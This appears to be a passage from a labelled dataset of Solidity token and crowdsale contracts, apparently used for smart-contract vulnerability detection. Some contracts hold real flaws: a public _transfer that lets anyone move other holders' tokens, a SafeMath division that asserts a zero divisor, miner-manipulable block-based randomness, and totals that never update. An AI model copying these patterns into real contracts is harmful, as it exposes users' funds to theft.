event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
name = _name;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount);
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function invest(address addr) public payable {
investInternal(addr, 0);
}
function buy() public payable {
invest(msg.sender);
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch);
}
}
function areReservedTokensDistributed() public constant returns (bool) {
return finalizeAgent.reservedTokensAreDistributed();
}
function canDistributeReservedTokens() public constant returns(bool) {
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true;
return false;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
assert(address(addr) != address(0));
assert(address(finalizeAgent) == address(0));
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(maxCap > 0);
assert(minCap <= maxCap);
assert(now <= endsAt);
if (!isAddressWhitelisted(addr)) {
whitelistedParticipants.push(addr);
Whitelisted(addr, status, minCap, maxCap);
} else {
WhitelistItemChanged(addr, status, minCap, maxCap);
}
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
}
function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner {
if (!isWhiteListed) throw;
assert(now <= endsAt);
assert(addrs.length == statuses.length);
assert(statuses.length == minCaps.length);
assert(minCaps.length == maxCaps.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private {
if (!isWhiteListed) throw;
if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought);
}
}
function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(now <= endsAt);
assert(isTierJoined(msg.sender));
if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function isAddressWhitelisted(address addr) public constant returns(bool) {
for (uint i = 0; i < whitelistedParticipants.length; i++) {
if (whitelistedParticipants[i] == addr) {
return true;
break;
}
}
return false;
}
function whitelistedParticipantsLength() public constant returns (uint) {
return whitelistedParticipants.length;
}
function isTierJoined(address addr) public constant returns(bool) {
return joinedCrowdsaleState[addr].isJoined;
}
function getTierPosition(address addr) public constant returns(uint8) {
return joinedCrowdsaleState[addr].position;
}
function getLastTier() public constant returns(address) {
if (joinedCrowdsalesLen > 0)
return joinedCrowdsales[joinedCrowdsalesLen - 1];
else
return address(0);
}
function setJoinedCrowdsales(address addr) private onlyOwner {
assert(addr != address(0));
assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax);
assert(!isTierJoined(addr));
joinedCrowdsales.push(addr);
joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({
isJoined: true,
position: joinedCrowdsalesLen
});
joinedCrowdsalesLen++;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner {
assert(addrs.length > 0);
assert(joinedCrowdsalesLen == 0);
assert(addrs.length <= joinedCrowdsalesLenMax);
for (uint8 iter = 0; iter < addrs.length; iter++) {
setJoinedCrowdsales(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(time <= endsAt);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = 0; j < tierPosition; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time >= crowdsale.endsAt());
}
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(startsAt <= time);
assert(now <= endsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time <= crowdsale.startsAt());
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
assert(address(_pricingStrategy) != address(0));
assert(address(pricingStrategy) == address(0));
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else return State.Failure;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract NullFinalizeAgentExt is FinalizeAgent {
CrowdsaleExt public crowdsale;
function NullFinalizeAgentExt(CrowdsaleExt _crowdsale) {
crowdsale = _crowdsale;
}
function isSane() public constant returns (bool) {
return true;
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public {
}
function finalizeCrowdsale() public {
}
} | 0 | 212 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract KimJCoin is BurnableToken {
string public constant name = "KimJ Coin";
string public constant symbol = "KJC";
uint32 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20000000 *(10 ** 18);
address public giveAddress = 0xacc31A27A5Ce81cB7b6269003226024963016F37;
function KimJCoin() public {
uint256 _keep = 90;
uint256 _giveTokens = 10;
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY.mul(_keep).div(100);
balances[giveAddress] = INITIAL_SUPPLY.mul(_giveTokens).div(100);
}
function AddressDefault() public view returns (address){
return giveAddress;
}
}
contract ICO is Ownable {
using SafeMath for uint256;
KimJCoin public token;
address multisig;
address restricted;
uint256 rate;
uint256 minAmount;
uint256 preIcoStartDate;
uint256 preIcoEndDate;
uint256 tier1StartDate;
uint256 tier1EndDate;
uint256 tier2StartDate;
uint256 tier2EndDate;
uint256 percentsTeamTokens;
uint256 percentsBountySecondTokens;
uint256 percentsBountyFirstTokens;
uint256 percentsNuclearTokens;
uint256 percentsBounty;
uint256 percentsPreSaleTokens;
uint256 percentsIco1;
uint256 percentsIco2;
uint256 totaldivineTokensIssued;
uint256 totalEthereumRaised;
modifier saleIsOn() {
uint256 curState = getStatus();
require(curState != 0);
_;
}
modifier isUnderHardCap() {
uint256 _availableTokens = token.balanceOf(this);
uint256 _tokens = calculateTokens(msg.value);
uint256 _minTokens = holdTokensOnStage();
require(_availableTokens.sub(_tokens) >= _minTokens);
_;
}
modifier checkMinAmount() {
require(msg.value >= minAmount);
_;
}
function ICO() public {
token = new KimJCoin();
multisig = msg.sender;
restricted = msg.sender;
minAmount = 0.01 * 1 ether;
rate = 1000;
preIcoStartDate = 1519257600 ;
preIcoEndDate = 1521072000;
tier1StartDate = 1521072000;
tier1EndDate = 1522540800;
tier2StartDate = 1522540800;
tier2EndDate = 1525132800;
percentsTeamTokens = 15;
percentsBountySecondTokens = 5;
percentsBountyFirstTokens = 5;
percentsNuclearTokens = 5;
percentsBounty = 10;
percentsPreSaleTokens = 30;
percentsIco1 = 25;
percentsIco2 = 15;
totaldivineTokensIssued = 0;
totalEthereumRaised = 0;
}
function calculateTokens(uint256 value) internal constant returns (uint256) {
uint256 tokensOrig = rate.mul(value).div(1 ether).mul(10 ** 18);
uint256 tokens = rate.mul(value).div(1 ether).mul(10 ** 18);
uint256 curState = getStatus();
if(curState== 1){
tokens += tokens.div(2);
}
bytes20 divineHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (divineHash[0] == 0)
{
uint256 divineMultiplier;
if (curState==1){
divineMultiplier = 4;
}
else if (curState==2){
divineMultiplier = 3;
}
else if (curState==3){
divineMultiplier = 2;
}
else{
divineMultiplier = 1;
}
uint256 divineTokensIssued = tokensOrig.mul(divineMultiplier);
tokens += divineTokensIssued;
totaldivineTokensIssued.add(divineTokensIssued);
}
return tokens;
}
function getStatus() internal constant returns (uint256) {
if(now > tier2EndDate) {
return 0;
} else if(now > tier2StartDate && now < tier2EndDate) {
return 3;
} else if(now > tier1StartDate && now < tier1EndDate) {
return 2;
} else if(now > preIcoStartDate && now < preIcoEndDate){
return 1;
} else {
return 0;
}
}
function holdTokensOnStage() public view returns (uint256) {
uint256 _totalSupply = token.totalSupply();
uint256 _percents = 100;
uint256 curState = getStatus();
if(curState == 3) {
_percents = percentsTeamTokens+percentsNuclearTokens;
} else if(curState == 2) {
_percents = _percents.sub(percentsPreSaleTokens.add(percentsBounty).add(percentsIco1));
} else if(curState == 1) {
_percents = _percents.sub(percentsPreSaleTokens.add(percentsBounty));
}
return _totalSupply.mul(_percents).div(100);
}
function onBalance() public view returns (uint256) {
return token.balanceOf(this);
}
function availableTokensOnCurrentStage() public view returns (uint256) {
uint256 _currentHolder = token.balanceOf(this);
uint256 _minTokens = holdTokensOnStage();
return _currentHolder.sub(_minTokens);
}
function getStatusInfo() public view returns (string) {
uint256 curState = getStatus();
if(now > tier2EndDate) {
return "ICO is over";
} else if(curState == 3) {
return "Now ICO #2 is active";
} else if(curState == 2) {
return "Now ICO #1 is active";
} else if(curState == 1) {
return "Now Pre-ICO is active";
} else {
return "The sale of tokens is stopped";
}
}
function burnTokens() public onlyOwner {
require(now > tier2EndDate);
uint256 circulating = token.totalSupply().sub(token.balanceOf(this));
uint256 _teamTokens = circulating.mul(percentsTeamTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);
uint256 _nucTokens = circulating.mul(percentsNuclearTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);
if (_teamTokens.add(_nucTokens)>token.balanceOf(this)){
_nucTokens = token.balanceOf(this).sub(_teamTokens);
}
token.transfer(restricted, _teamTokens);
token.transfer(token.AddressDefault(), _nucTokens);
uint256 _burnTokens = token.balanceOf(this);
if (_burnTokens>0){
token.burn(_burnTokens);
}
}
function createTokens() public saleIsOn isUnderHardCap checkMinAmount payable {
uint256 tokens = calculateTokens(msg.value);
totalEthereumRaised.add(msg.value);
multisig.transfer(msg.value);
token.transfer(msg.sender, tokens);
}
function() external payable {
createTokens();
}
function getStats() public constant returns (uint256, uint256, uint256) {
return (totalEthereumRaised, token.totalSupply(), totaldivineTokensIssued);
}
} | 0 | 1,036 |
pragma solidity ^0.4.24;
library AddressUtilsLib {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
}
pragma solidity ^0.4.24;
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(0==b);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract ERC20Basic {
event Transfer(address indexed _from,address indexed _to,uint256 value);
uint256 public totalSupply;
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256){
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
pragma solidity ^0.4.24;
contract ERC20 is ERC20Basic {
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
}
pragma solidity ^0.4.24;
contract BasicToken is ERC20Basic {
using SafeMathLib for uint256;
using AddressUtilsLib for address;
mapping(address => uint256) public balances;
function _transfer(address _from,address _to, uint256 _value) public returns (bool){
require(!_from.isContract());
require(!_to.isContract());
require(0 < _value);
require(balances[_from] > _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool){
return _transfer(msg.sender,_to,_value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.24;
contract UCBasic is ERC20,BasicToken{
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(0 < _value);
require(address(0) != _from && address(0) != _to);
require(allowed[_from][msg.sender] > _value);
require(balances[_from] > _value);
require(!_from.isContract());
require(!_to.isContract());
uint256 _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool){
require(address(0) != _spender);
require(!_spender.isContract());
require(msg.sender != _spender);
require(0 != _value);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
require(!_owner.isContract());
require(!_spender.isContract());
return allowed[_owner][_spender];
}
}
pragma solidity ^0.4.24;
contract STOToken is UCBasic,Ownable{
using SafeMathLib for uint256;
string constant public tokenName = "STOCK";
string constant public tokenSymbol = "STO";
uint256 constant public totalTokens = 30*10000*10000;
uint8 constant public totalDecimals = 18;
string constant private version = "20180908";
address private wallet;
constructor() public {
totalSupply = totalTokens*10**uint256(totalDecimals);
balances[msg.sender] = totalSupply;
wallet = msg.sender;
}
function name() public view returns (string){
return tokenName;
}
function symbol() public view returns (string){
return tokenSymbol;
}
function decimals() public view returns (uint8){
return totalDecimals;
}
} | 1 | 4,327 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
